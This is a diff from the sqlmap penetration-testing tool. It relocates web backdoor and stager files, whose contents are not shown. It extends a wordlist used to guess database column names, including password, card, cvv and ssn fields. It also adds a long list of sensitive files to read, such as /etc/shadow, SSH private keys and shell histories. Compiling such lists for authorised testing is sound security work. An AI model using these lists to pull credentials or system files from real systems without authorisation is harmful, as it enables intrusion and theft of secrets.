rename to data/shell/backdoors/backdoor.asp_
diff --git a/shell/backdoors/backdoor.aspx_ b/data/shell/backdoors/backdoor.aspx_
similarity index 100%
rename from shell/backdoors/backdoor.aspx_
rename to data/shell/backdoors/backdoor.aspx_
diff --git a/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_
similarity index 100%
rename from shell/backdoors/backdoor.jsp_
rename to data/shell/backdoors/backdoor.jsp_
diff --git a/data/shell/backdoors/backdoor.php_ b/data/shell/backdoors/backdoor.php_
new file mode 100644
index 00000000000..8f447ecfc9c
Binary files /dev/null and b/data/shell/backdoors/backdoor.php_ differ
diff --git a/shell/stagers/stager.asp_ b/data/shell/stagers/stager.asp_
similarity index 100%
rename from shell/stagers/stager.asp_
rename to data/shell/stagers/stager.asp_
diff --git a/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_
similarity index 100%
rename from shell/stagers/stager.aspx_
rename to data/shell/stagers/stager.aspx_
diff --git a/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_
similarity index 100%
rename from shell/stagers/stager.jsp_
rename to data/shell/stagers/stager.jsp_
diff --git a/shell/stagers/stager.php_ b/data/shell/stagers/stager.php_
similarity index 100%
rename from shell/stagers/stager.php_
rename to data/shell/stagers/stager.php_
diff --git a/txt/common-columns.txt b/data/txt/common-columns.txt
similarity index 96%
rename from txt/common-columns.txt
rename to data/txt/common-columns.txt
index ad302d3b302..6b47653ea4c 100644
--- a/txt/common-columns.txt
+++ b/data/txt/common-columns.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
id
@@ -474,6 +474,7 @@ module_addr
flag
# spanish
+
usuario
nombre
contrasena
@@ -486,6 +487,7 @@ tono
cuna
# german
+
benutzername
benutzer
passwort
@@ -499,6 +501,7 @@ stichwort
schlusselwort
# french
+
utilisateur
usager
consommateur
@@ -510,6 +513,7 @@ touche
clef
# italian
+
utente
nome
utilizzatore
@@ -521,17 +525,109 @@ chiavetta
cifrario
# portuguese
+
usufrutuario
chave
cavilha
# slavic
+
korisnik
sifra
lozinka
kljuc
+# turkish
+
+isim
+ad
+adi
+soyisim
+soyad
+soyadi
+kimlik
+kimlikno
+tckimlikno
+tckimlik
+yonetici
+sil
+silinmis
+numara
+sira
+lokasyon
+kullanici
+kullanici_adi
+sifre
+giris
+pasif
+posta
+adres
+is_adres
+ev_adres
+is_adresi
+ev_adresi
+isadresi
+isadres
+evadresi
+evadres
+il
+ilce
+eposta
+eposta_adres
+epostaadres
+eposta_adresi
+epostaadresi
+e-posta
+e-posta_adres
+e-postaadres
+e-posta_adresi
+e-postaadresi
+e_posta
+e_posta_adres
+e_postaadres
+e_posta_adresi
+e_postaadresi
+baglanti
+gun
+ay
+yil
+saat
+tarih
+guncelleme
+guncellemetarih
+guncelleme_tarih
+guncellemetarihi
+guncelleme_tarihi
+yetki
+cinsiyet
+ulke
+guncel
+vergi
+vergino
+vergi_no
+yas
+dogum
+dogumtarih
+dogum_tarih
+dogumtarihi
+dogum_tarihi
+telefon_is
+telefon_ev
+telefonis
+telefonev
+ev_telefonu
+is_telefonu
+ev_telefon
+is_telefon
+evtelefonu
+istelefonu
+evtelefon
+istelefon
+kontak
+kontaklar
+
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
+
user
pass
cc_number
@@ -755,6 +851,7 @@ xar_name
xar_pass
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
+
account
accnts
accnt
@@ -824,6 +921,7 @@ user_pwd
user_passwd
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
+
fld_id
fld_username
fld_password
@@ -976,6 +1074,7 @@ yhmm
yonghu
# site:br
+
content_id
codigo
geometry
@@ -1232,6 +1331,7 @@ newssummaryauthor
and_xevento
# site:de
+
rolle_nr
standort_nr
ja
@@ -1394,6 +1494,7 @@ summary_id
gameid
# site:es
+
catid
dni
prune_id
@@ -1483,6 +1584,7 @@ time_stamp
bannerid
# site:fr
+
numero
id_auteur
titre
@@ -1534,6 +1636,7 @@ n_dir
age
# site:ru
+
dt_id
subdivision_id
sub_class_id
@@ -1739,6 +1842,7 @@ language_id
val
# site:jp
+
dealer_id
modify_date
regist_date
@@ -1870,6 +1974,7 @@ c_commu_topic_id
c_diary_comment_log_id
# site:it
+
idcomune
idruolo
idtrattamento
@@ -2373,6 +2478,7 @@ client_img
does_repeat
# site:cn
+
typeid
cronid
advid
@@ -2548,6 +2654,7 @@ disablepostctrl
fieldname
# site:id
+
ajar
akses
aktif
@@ -2599,9 +2706,23 @@ urut
waktu
# WebGoat
+
cookie
login_count
+# https://sqlwiki.netspi.com/attackQueries/dataTargeting/
+
+credit
+card
+pin
+cvv
+pan
+password
+social
+ssn
+account
+confidential
+
# Misc
-u_pass
\ No newline at end of file
+u_pass
diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt
new file mode 100644
index 00000000000..92f64688ed0
--- /dev/null
+++ b/data/txt/common-files.txt
@@ -0,0 +1,1804 @@
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# See the file 'LICENSE' for copying permission
+
+# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
+
+/apache/logs/access.log
+/apache/logs/error.log
+/bin/php.ini
+/etc/alias
+/etc/apache2/apache.conf
+/etc/apache2/conf/httpd.conf
+/etc/apache2/httpd.conf
+/etc/apache/conf/httpd.conf
+/etc/bash.bashrc
+/etc/chttp.conf
+/etc/crontab
+/etc/crypttab
+/etc/debian_version
+/etc/exports
+/etc/fedora-release
+/etc/fstab
+/etc/ftphosts
+/etc/ftpusers
+/etc/group
+/etc/group-
+/etc/hosts
+/etc/http/conf/httpd.conf
+/etc/httpd.conf
+/etc/httpd/conf/httpd.conf
+/etc/httpd/httpd.conf
+/etc/httpd/logs/acces_log
+/etc/httpd/logs/acces.log
+/etc/httpd/logs/access_log
+/etc/httpd/logs/access.log
+/etc/httpd/logs/error_log
+/etc/httpd/logs/error.log
+/etc/httpd/php.ini
+/etc/http/httpd.conf
+/etc/inetd.conf
+/etc/inittab
+/etc/issue
+/etc/issue.net
+/etc/lighttpd.conf
+/etc/login.defs
+/etc/mandrake-release
+/etc/motd
+/etc/mtab
+/etc/my.cnf
+/etc/mysql/my.cnf
+/etc/openldap/ldap.conf
+/etc/os-release
+/etc/pam.conf
+/etc/passwd
+/etc/passwd-
+/etc/password.master
+/etc/php4.4/fcgi/php.ini
+/etc/php4/apache2/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/cgi/php.ini
+/etc/php5/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/cgi/php.ini
+/etc/php/apache2/php.ini
+/etc/php/apache/php.ini
+/etc/php/cgi/php.ini
+/etc/php.ini
+/etc/php/php4/php.ini
+/etc/php/php.ini
+/etc/profile
+/etc/proftp.conf
+/etc/proftpd/modules.conf
+/etc/protpd/proftpd.conf
+/etc/pure-ftpd.conf
+/etc/pureftpd.passwd
+/etc/pureftpd.pdb
+/etc/pure-ftpd/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pure-ftpd/pureftpd.pdb
+/etc/redhat-release
+/etc/resolv.conf
+/etc/samba/smb.conf
+/etc/security/environ
+/etc/security/group
+/etc/security/limits
+/etc/security/passwd
+/etc/security/user
+/etc/shadow
+/etc/shadow-
+/etc/slackware-release
+/etc/sudoers
+/etc/SUSE-release
+/etc/sysctl.conf
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/vsftpd.conf
+/etc/vsftpd/vsftpd.conf
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/logs/access.log
+/logs/error.log
+/opt/apache2/conf/httpd.conf
+/opt/apache/conf/httpd.conf
+/opt/xampp/etc/php.ini
+/private/etc/httpd/httpd.conf
+/private/etc/httpd/httpd.conf.default
+/root/.bash_history
+/root/.ssh/id_rsa
+/root/.ssh/id_rsa.pub
+/root/.ssh/known_hosts
+/tmp/access.log
+/usr/apache2/conf/httpd.conf
+/usr/apache/conf/httpd.conf
+/usr/etc/pure-ftpd.conf
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/lib/security/mkuser.default
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache2/httpd.conf
+/usr/local/apache2/logs/access_log
+/usr/local/apache2/logs/access.log
+/usr/local/apache2/logs/error_log
+/usr/local/apache2/logs/error.log
+/usr/local/apache/conf/httpd.conf
+/usr/local/apache/conf/php.ini
+/usr/local/apache/httpd.conf
+/usr/local/apache/logs/access_log
+/usr/local/apache/logs/access.log
+/usr/local/apache/logs/error_log
+/usr/local/apache/logs/error.log
+/usr/local/apache/logs/error. og
+/usr/local/apps/apache2/conf/httpd.conf
+/usr/local/apps/apache/conf/httpd.conf
+/usr/local/etc/apache2/conf/httpd.conf
+/usr/local/etc/apache/conf/httpd.conf
+/usr/local/etc/apache/vhosts.conf
+/usr/local/etc/httpd/conf/httpd.conf
+/usr/local/etc/php.ini
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/httpd/conf/httpd.conf
+/usr/local/lib/php.ini
+/usr/local/php4/httpd.conf
+/usr/local/php4/httpd.conf.php
+/usr/local/php4/lib/php.ini
+/usr/local/php5/httpd.conf
+/usr/local/php5/httpd.conf.php
+/usr/local/php5/lib/php.ini
+/usr/local/php/httpd.conf
+/usr/local/php/httpd.conf.php
+/usr/local/php/lib/php.ini
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/usr/local/pureftpd/etc/pureftpd.pdb
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/Zend/etc/php.ini
+/usr/sbin/pure-config.pl
+/var/cpanel/cpanel.config
+/var/lib/mysql/my.cnf
+/var/local/www/conf/php.ini
+/var/log/access_log
+/var/log/access.log
+/var/log/apache2/access_log
+/var/log/apache2/access.log
+/var/log/apache2/error_log
+/var/log/apache2/error.log
+/var/log/apache/access_log
+/var/log/apache/access.log
+/var/log/apache/error_log
+/var/log/apache/error.log
+/var/log/error_log
+/var/log/error.log
+/var/log/httpd/access_log
+/var/log/httpd/access.log
+/var/log/httpd/error_log
+/var/log/httpd/error.log
+/var/log/messages
+/var/log/messages.1
+/var/log/user.log
+/var/log/user.log.1
+/var/www/conf/httpd.conf
+/var/www/html/index.html
+/var/www/logs/access_log
+/var/www/logs/access.log
+/var/www/logs/error_log
+/var/www/logs/error.log
+/Volumes/webBackup/opt/apache2/conf/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf.default
+/web/conf/php.ini
+
+# Reference: https://github.com/devcoinfet/Sqlmap_file_reader/blob/master/file_read.py
+
+/var/log/mysqld.log
+/var/www/index.php
+
+# Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810
+
+/var/www/index.php
+/usr/local/apache/index.php
+/usr/local/apache2/index.php
+/usr/local/www/apache22/index.php
+/usr/local/www/apache24/index.php
+/usr/local/httpd/index.php
+/var/www/nginx-default/index.php
+/srv/www/index.php
+
+/var/www/config.php
+/usr/local/apache/config.php
+/usr/local/apache2/config.php
+/usr/local/www/apache22/config.php
+/usr/local/www/apache24/config.php
+/usr/local/httpd/config.php
+/var/www/nginx-default/config.php
+/srv/www/config.php
+
+# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
+
+/srv/www/htdocs/index.php
+/usr/local/apache2/htdocs/index.php
+/usr/local/www/data/index.php
+/var/apache2/htdocs/index.php
+/var/www/htdocs/index.php
+/var/www/html/index.php
+
+/srv/www/htdocs/config.php
+/usr/local/apache2/htdocs/config.php
+/usr/local/www/data/config.php
+/var/apache2/htdocs/config.php
+/var/www/htdocs/config.php
+/var/www/html/config.php
+
+# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
+
+/etc/passwd
+/etc/shadow
+/etc/aliases
+/etc/anacrontab
+/etc/apache2/apache2.conf
+/etc/apache2/httpd.conf
+/etc/at.allow
+/etc/at.deny
+/etc/bashrc
+/etc/bootptab
+/etc/chrootUsers
+/etc/chttp.conf
+/etc/cron.allow
+/etc/cron.deny
+/etc/crontab
+/etc/cups/cupsd.conf
+/etc/exports
+/etc/fstab
+/etc/ftpaccess
+/etc/ftpchroot
+/etc/ftphosts
+/etc/groups
+/etc/grub.conf
+/etc/hosts
+/etc/hosts.allow
+/etc/hosts.deny
+/etc/httpd/access.conf
+/etc/httpd/conf/httpd.conf
+/etc/httpd/httpd.conf
+/etc/httpd/logs/access_log
+/etc/httpd/logs/access.log
+/etc/httpd/logs/error_log
+/etc/httpd/logs/error.log
+/etc/httpd/php.ini
+/etc/httpd/srm.conf
+/etc/inetd.conf
+/etc/inittab
+/etc/issue
+/etc/lighttpd.conf
+/etc/lilo.conf
+/etc/logrotate.d/ftp
+/etc/logrotate.d/proftpd
+/etc/logrotate.d/vsftpd.log
+/etc/lsb-release
+/etc/motd
+/etc/modules.conf
+/etc/motd
+/etc/mtab
+/etc/my.cnf
+/etc/my.conf
+/etc/mysql/my.cnf
+/etc/network/interfaces
+/etc/networks
+/etc/npasswd
+/etc/passwd
+/etc/php4.4/fcgi/php.ini
+/etc/php4/apache2/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/cgi/php.ini
+/etc/php4/apache2/php.ini
+/etc/php5/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php/apache2/php.ini
+/etc/php/apache/php.ini
+/etc/php/cgi/php.ini
+/etc/php.ini
+/etc/php/php4/php.ini
+/etc/php/php.ini
+/etc/printcap
+/etc/profile
+/etc/proftp.conf
+/etc/proftpd/proftpd.conf
+/etc/pure-ftpd.conf
+/etc/pureftpd.passwd
+/etc/pureftpd.pdb
+/etc/pure-ftpd/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pure-ftpd/putreftpd.pdb
+/etc/redhat-release
+/etc/resolv.conf
+/etc/samba/smb.conf
+/etc/snmpd.conf
+/etc/ssh/ssh_config
+/etc/ssh/sshd_config
+/etc/ssh/ssh_host_dsa_key
+/etc/ssh/ssh_host_dsa_key.pub
+/etc/ssh/ssh_host_key
+/etc/ssh/ssh_host_key.pub
+/etc/sysconfig/network
+/etc/syslog.conf
+/etc/termcap
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/vsftpd.chroot_list
+/etc/vsftpd.conf
+/etc/vsftpd/vsftpd.conf
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/logs/pure-ftpd.log
+/logs/security_debug_log
+/logs/security_log
+/opt/lampp/etc/httpd.conf
+/opt/xampp/etc/php.ini
+/proc/cpuinfo
+/proc/filesystems
+/proc/interrupts
+/proc/ioports
+/proc/meminfo
+/proc/modules
+/proc/mounts
+/proc/stat
+/proc/swaps
+/proc/version
+/proc/self/net/arp
+/root/anaconda-ks.cfg
+/usr/etc/pure-ftpd.conf
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/local/apache/conf/modsec.conf
+/usr/local/apache/conf/php.ini
+/usr/local/apache/log
+/usr/local/apache/logs
+/usr/local/apache/logs/access_log
+/usr/local/apache/logs/access.log
+/usr/local/apache/audit_log
+/usr/local/apache/error_log
+/usr/local/apache/error.log
+/usr/local/cpanel/logs
+/usr/local/cpanel/logs/access_log
+/usr/local/cpanel/logs/error_log
+/usr/local/cpanel/logs/license_log
+/usr/local/cpanel/logs/login_log
+/usr/local/cpanel/logs/stats_log
+/usr/local/etc/httpd/logs/access_log
+/usr/local/etc/httpd/logs/error_log
+/usr/local/etc/php.ini
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/lib/php.ini
+/usr/local/php4/httpd.conf
+/usr/local/php4/httpd.conf.php
+/usr/local/php4/lib/php.ini
+/usr/local/php5/httpd.conf
+/usr/local/php5/httpd.conf.php
+/usr/local/php5/lib/php.ini
+/usr/local/php/httpd.conf
+/usr/local/php/httpd.conf.ini
+/usr/local/php/lib/php.ini
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/usr/local/pureftpd/etc/pureftpd.pdn
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/www/logs/httpd_log
+/usr/local/Zend/etc/php.ini
+/usr/sbin/pure-config.pl
+/var/adm/log/xferlog
+/var/apache2/config.inc
+/var/apache/logs/access_log
+/var/apache/logs/error_log
+/var/cpanel/cpanel.config
+/var/lib/mysql/my.cnf
+/var/lib/mysql/mysql/user.MYD
+/var/local/www/conf/php.ini
+/var/log/apache2/access_log
+/var/log/apache2/access.log
+/var/log/apache2/error_log
+/var/log/apache2/error.log
+/var/log/apache/access_log
+/var/log/apache/access.log
+/var/log/apache/error_log
+/var/log/apache/error.log
+/var/log/apache-ssl/access.log
+/var/log/apache-ssl/error.log
+/var/log/auth.log
+/var/log/boot
+/var/htmp
+/var/log/chttp.log
+/var/log/cups/error.log
+/var/log/daemon.log
+/var/log/debug
+/var/log/dmesg
+/var/log/dpkg.log
+/var/log/exim_mainlog
+/var/log/exim/mainlog
+/var/log/exim_paniclog
+/var/log/exim.paniclog
+/var/log/exim_rejectlog
+/var/log/exim/rejectlog
+/var/log/faillog
+/var/log/ftplog
+/var/log/ftp-proxy
+/var/log/ftp-proxy/ftp-proxy.log
+/var/log/httpd/access_log
+/var/log/httpd/access.log
+/var/log/httpd/error_log
+/var/log/httpd/error.log
+/var/log/httpsd/ssl.access_log
+/var/log/httpsd/ssl_log
+/var/log/kern.log
+/var/log/lastlog
+/var/log/lighttpd/access.log
+/var/log/lighttpd/error.log
+/var/log/lighttpd/lighttpd.access.log
+/var/log/lighttpd/lighttpd.error.log
+/var/log/mail.info
+/var/log/mail.log
+/var/log/maillog
+/var/log/mail.warn
+/var/log/message
+/var/log/messages
+/var/log/mysqlderror.log
+/var/log/mysql.log
+/var/log/mysql/mysql-bin.log
+/var/log/mysql/mysql.log
+/var/log/mysql/mysql-slow.log
+/var/log/proftpd
+/var/log/pureftpd.log
+/var/log/pure-ftpd/pure-ftpd.log
+/var/log/secure
+/var/log/vsftpd.log
+/var/log/wtmp
+/var/log/xferlog
+/var/log/yum.log
+/var/mysql.log
+/var/run/utmp
+/var/spool/cron/crontabs/root
+/var/webmin/miniserv.log
+/var/www/log/access_log
+/var/www/log/error_log
+/var/www/logs/access_log
+/var/www/logs/error_log
+/var/www/logs/access.log
+/var/www/logs/error.log
+
+# Reference: https://nets.ec/File_Inclusion
+
+/etc/passwd
+/etc/master.passwd
+/etc/shadow
+/var/db/shadow/hash
+/etc/group
+/etc/hosts
+/etc/motd
+/etc/issue
+/etc/release
+/etc/redhat-release
+/etc/crontab
+/etc/inittab
+/proc/version
+/proc/cmdline
+/proc/self/environ
+/proc/self/fd/0
+/proc/self/fd/1
+/proc/self/fd/2
+/proc/self/fd/255
+/etc/httpd.conf
+/etc/apache2.conf
+/etc/apache2/apache2.conf
+/etc/apache2/httpd.conf
+/etc/httpd/conf/httpd.conf
+/etc/httpd/httpd.conf
+/etc/apache2/conf/httpd.conf
+/etc/apache/conf/httpd.conf
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache/conf/httpd.conf
+/etc/apache2/sites-enabled/000-default
+/etc/apache2/sites-available/default
+/etc/nginx.conf
+/etc/nginx/nginx.conf
+/etc/nginx/sites-available/default
+/etc/nginx/sites-enabled/default
+/etc/ssh/sshd_config
+/etc/my.cnf
+/etc/mysql/my.cnf
+/etc/php.ini
+/var/mail/www-data
+/var/mail/www
+/var/mail/apache
+/var/mail/nobody
+/var/www/.bash_history
+/root/.bash_history
+/var/root/.bash_history
+/var/root/.sh_history
+/etc/passwd
+/etc/master.passwd
+/etc/shadow
+/var/db/shadow/hash
+/etc/group
+/etc/hosts
+/etc/motd
+/etc/issue
+/etc/release
+/etc/redhat-release
+/etc/crontab
+/etc/inittab
+/proc/version
+/proc/cmdline
+/proc/self/environ
+/proc/self/fd/0
+/proc/self/fd/1
+/proc/self/fd/2
+/proc/self/fd/255
+/etc/httpd.conf
+/etc/apache2.conf
+/etc/apache2/apache2.conf
+/etc/apache2/httpd.conf
+/etc/httpd/conf/httpd.conf
+/etc/httpd/httpd.conf
+/etc/apache2/conf/httpd.conf
+/etc/apache/conf/httpd.conf
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache/conf/httpd.conf
+/etc/apache2/sites-enabled/000-default
+/etc/apache2/sites-available/default
+/etc/nginx.conf
+/etc/nginx/nginx.conf
+/etc/nginx/sites-available/default
+/etc/nginx/sites-enabled/default
+/etc/ssh/sshd_config
+/etc/my.cnf
+/etc/mysql/my.cnf
+/etc/php.ini
+/var/mail/www-data
+/var/mail/www
+/var/mail/apache
+/var/mail/nobody
+/var/www/.bash_history
+/root/.bash_history
+/var/root/.bash_history
+/var/root/.sh_history
+/usr/local/apache/httpd.conf
+/usr/local/apache2/httpd.conf
+/usr/local/httpd/conf/httpd.conf
+/usr/local/etc/apache/conf/httpd.conf
+/usr/local/etc/apache2/conf/httpd.conf
+/usr/local/etc/httpd/conf/httpd.conf
+/usr/apache2/conf/httpd.conf
+/usr/apache/conf/httpd.conf
+/etc/http/conf/httpd.conf
+/etc/http/httpd.conf
+/opt/apache/conf/httpd.conf
+/opt/apache2/conf/httpd.conf
+/var/www/conf/httpd.conf
+/usr/local/php/httpd.conf
+/usr/local/php4/httpd.conf
+/usr/local/php5/httpd.conf
+/etc/httpd/php.ini
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/local/etc/php.ini
+/usr/local/lib/php.ini
+/usr/local/php/lib/php.ini
+/usr/local/php4/lib/php.ini
+/usr/local/php5/lib/php.ini
+/usr/local/apache/conf/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/apache2/php.ini
+/etc/php/php.ini
+/etc/php/php4/php.ini
+/etc/php/apache/php.ini
+/etc/php/apache2/php.ini
+/usr/local/Zend/etc/php.ini
+/opt/xampp/etc/php.ini
+/var/local/www/conf/php.ini
+/etc/php/cgi/php.ini
+/etc/php4/cgi/php.ini
+/etc/php5/cgi/php.ini
+/var/log/lastlog
+/var/log/wtmp
+/var/run/utmp
+/var/log/messages.log
+/var/log/messages
+/var/log/messages.0
+/var/log/messages.1
+/var/log/messages.2
+/var/log/messages.3
+/var/log/syslog.log
+/var/log/syslog
+/var/log/syslog.0
+/var/log/syslog.1
+/var/log/syslog.2
+/var/log/syslog.3
+/var/log/auth.log
+/var/log/auth.log.0
+/var/log/auth.log.1
+/var/log/auth.log.2
+/var/log/auth.log.3
+/var/log/authlog
+/var/log/syslog
+/var/adm/lastlog
+/var/adm/messages
+/var/adm/messages.0
+/var/adm/messages.1
+/var/adm/messages.2
+/var/adm/messages.3
+/var/adm/utmpx
+/var/adm/wtmpx
+/var/log/kernel.log
+/var/log/secure.log
+/var/log/mail.log
+/var/run/utmp
+/var/log/wtmp
+/var/log/lastlog
+/var/log/access.log
+/var/log/access_log
+/var/log/error.log
+/var/log/error_log
+/var/log/apache2/access.log
+/var/log/apache2/access_log
+/var/log/apache2/error.log
+/var/log/apache2/error_log
+/var/log/apache/access.log
+/var/log/apache/access_log
+/var/log/apache/error.log
+/var/log/apache/error_log
+/var/log/httpd/access.log
+/var/log/httpd/access_log
+/var/log/httpd/error.log
+/var/log/httpd/error_log
+/etc/httpd/logs/access.log
+/etc/httpd/logs/access_log
+/etc/httpd/logs/error.log
+/etc/httpd/logs/error_log
+/usr/local/apache/logs/access.log
+/usr/local/apache/logs/access_log
+/usr/local/apache/logs/error.log
+/usr/local/apache/logs/error_log
+/usr/local/apache2/logs/access.log
+/usr/local/apache2/logs/access_log
+/usr/local/apache2/logs/error.log
+/usr/local/apache2/logs/error_log
+/var/www/logs/access.log
+/var/www/logs/access_log
+/var/www/logs/error.log
+/var/www/logs/error_log
+/opt/lampp/logs/access.log
+/opt/lampp/logs/access_log
+/opt/lampp/logs/error.log
+/opt/lampp/logs/error_log
+/opt/xampp/logs/access.log
+/opt/xampp/logs/access_log
+/opt/xampp/logs/error.log
+/opt/xampp/logs/error_log
+
+# Reference: https://github.com/ironbee/ironbee-rules/blob/master/rules/lfi-files.data
+
+/.htaccess
+/.htpasswd
+/[jboss]/server/default/conf/jboss-minimal.xml
+/[jboss]/server/default/conf/jboss-service.xml
+/[jboss]/server/default/conf/jndi.properties
+/[jboss]/server/default/conf/log4j.xml
+/[jboss]/server/default/conf/login-config.xml
+/[jboss]/server/default/conf/server.log.properties
+/[jboss]/server/default/conf/standardjaws.xml
+/[jboss]/server/default/conf/standardjboss.xml
+/[jboss]/server/default/deploy/jboss-logging.xml
+/[jboss]/server/default/log/boot.log
+/[jboss]/server/default/log/server.log
+/access.log
+/access_log
+/apache/conf/httpd.conf
+/apache/logs/access.log
+/apache/logs/error.log
+/apache/php/php.ini
+/apache2/logs/access.log
+/apache2/logs/error.log
+/bin/php.ini
+/boot.ini
+/boot/grub/grub.cfg
+/boot/grub/menu.lst
+/config.inc.php
+/error.log
+/error_log
+/etc/adduser.conf
+/etc/alias
+/etc/apache/access.conf
+/etc/apache/apache.conf
+/etc/apache/conf/httpd.conf
+/etc/apache/default-server.conf
+/etc/apache/httpd.conf
+/etc/apache2/apache.conf
+/etc/apache2/apache2.conf
+/etc/apache2/conf.d/charset
+/etc/apache2/conf.d/phpmyadmin.conf
+/etc/apache2/conf.d/security
+/etc/apache2/conf/httpd.conf
+/etc/apache2/default-server.conf
+/etc/apache2/envvars
+/etc/apache2/httpd.conf
+/etc/apache2/httpd2.conf
+/etc/apache2/mods-available/autoindex.conf
+/etc/apache2/mods-available/deflate.conf
+/etc/apache2/mods-available/dir.conf
+/etc/apache2/mods-available/mem_cache.conf
+/etc/apache2/mods-available/mime.conf
+/etc/apache2/mods-available/proxy.conf
+/etc/apache2/mods-available/setenvif.conf
+/etc/apache2/mods-available/ssl.conf
+/etc/apache2/mods-enabled/alias.conf
+/etc/apache2/mods-enabled/deflate.conf
+/etc/apache2/mods-enabled/dir.conf
+/etc/apache2/mods-enabled/mime.conf
+/etc/apache2/mods-enabled/negotiation.conf
+/etc/apache2/mods-enabled/php5.conf
+/etc/apache2/mods-enabled/status.conf
+/etc/apache2/ports.conf
+/etc/apache2/sites-available/default
+/etc/apache2/sites-available/default-ssl
+/etc/apache2/sites-enabled/000-default
+/etc/apache2/sites-enabled/default
+/etc/apache2/ssl-global.conf
+/etc/apache2/vhosts.d/00_default_vhost.conf
+/etc/apache2/vhosts.d/default_vhost.include
+/etc/apache22/conf/httpd.conf
+/etc/apache22/httpd.conf
+/etc/apt/apt.conf
+/etc/avahi/avahi-daemon.conf
+/etc/bash.bashrc
+/etc/bash_completion.d/debconf
+/etc/bluetooth/input.conf
+/etc/bluetooth/main.conf
+/etc/bluetooth/network.conf
+/etc/bluetooth/rfcomm.conf
+/etc/ca-certificates.conf
+/etc/ca-certificates.conf.dpkg-old
+/etc/casper.conf
+/etc/chkrootkit.conf
+/etc/chrootusers
+/etc/clamav/clamd.conf
+/etc/clamav/freshclam.conf
+/etc/crontab
+/etc/crypttab
+/etc/cups/acroread.conf
+/etc/cups/cupsd.conf
+/etc/cups/cupsd.conf.default
+/etc/cups/pdftops.conf
+/etc/cups/printers.conf
+/etc/cvs-cron.conf
+/etc/cvs-pserver.conf
+/etc/debconf.conf
+/etc/debian_version
+/etc/default/grub
+/etc/deluser.conf
+/etc/dhcp/dhclient.conf
+/etc/dhcp3/dhclient.conf
+/etc/dhcp3/dhcpd.conf
+/etc/dns2tcpd.conf
+/etc/e2fsck.conf
+/etc/esound/esd.conf
+/etc/etter.conf
+/etc/exports
+/etc/fedora-release
+/etc/firewall.rules
+/etc/foremost.conf
+/etc/fstab
+/etc/ftpchroot
+/etc/ftphosts
+/etc/ftpusers
+/etc/fuse.conf
+/etc/group
+/etc/group-
+/etc/hdparm.conf
+/etc/host.conf
+/etc/hostname
+/etc/hosts
+/etc/hosts.allow
+/etc/hosts.deny
+/etc/http/conf/httpd.conf
+/etc/http/httpd.conf
+/etc/httpd.conf
+/etc/httpd/apache.conf
+/etc/httpd/apache2.conf
+/etc/httpd/conf
+/etc/httpd/conf.d
+/etc/httpd/conf.d/php.conf
+/etc/httpd/conf.d/squirrelmail.conf
+/etc/httpd/conf/apache.conf
+/etc/httpd/conf/apache2.conf
+/etc/httpd/conf/httpd.conf
+/etc/httpd/extra/httpd-ssl.conf
+/etc/httpd/httpd.conf
+/etc/httpd/logs/access.log
+/etc/httpd/logs/access_log
+/etc/httpd/logs/error.log
+/etc/httpd/logs/error_log
+/etc/httpd/mod_php.conf
+/etc/httpd/php.ini
+/etc/inetd.conf
+/etc/init.d
+/etc/inittab
+/etc/ipfw.conf
+/etc/ipfw.rules
+/etc/issue
+/etc/issue
+/etc/issue.net
+/etc/kbd/config
+/etc/kernel-img.conf
+/etc/kernel-pkg.conf
+/etc/ld.so.conf
+/etc/ldap/ldap.conf
+/etc/lighttpd/lighthttpd.conf
+/etc/login.defs
+/etc/logrotate.conf
+/etc/logrotate.d/ftp
+/etc/logrotate.d/proftpd
+/etc/logrotate.d/vsftpd.log
+/etc/ltrace.conf
+/etc/mail/sendmail.conf
+/etc/mandrake-release
+/etc/manpath.config
+/etc/miredo-server.conf
+/etc/miredo.conf
+/etc/miredo/miredo-server.conf
+/etc/miredo/miredo.conf
+/etc/modprobe.d/vmware-tools.conf
+/etc/modules
+/etc/mono/1.0/machine.config
+/etc/mono/2.0/machine.config
+/etc/mono/2.0/web.config
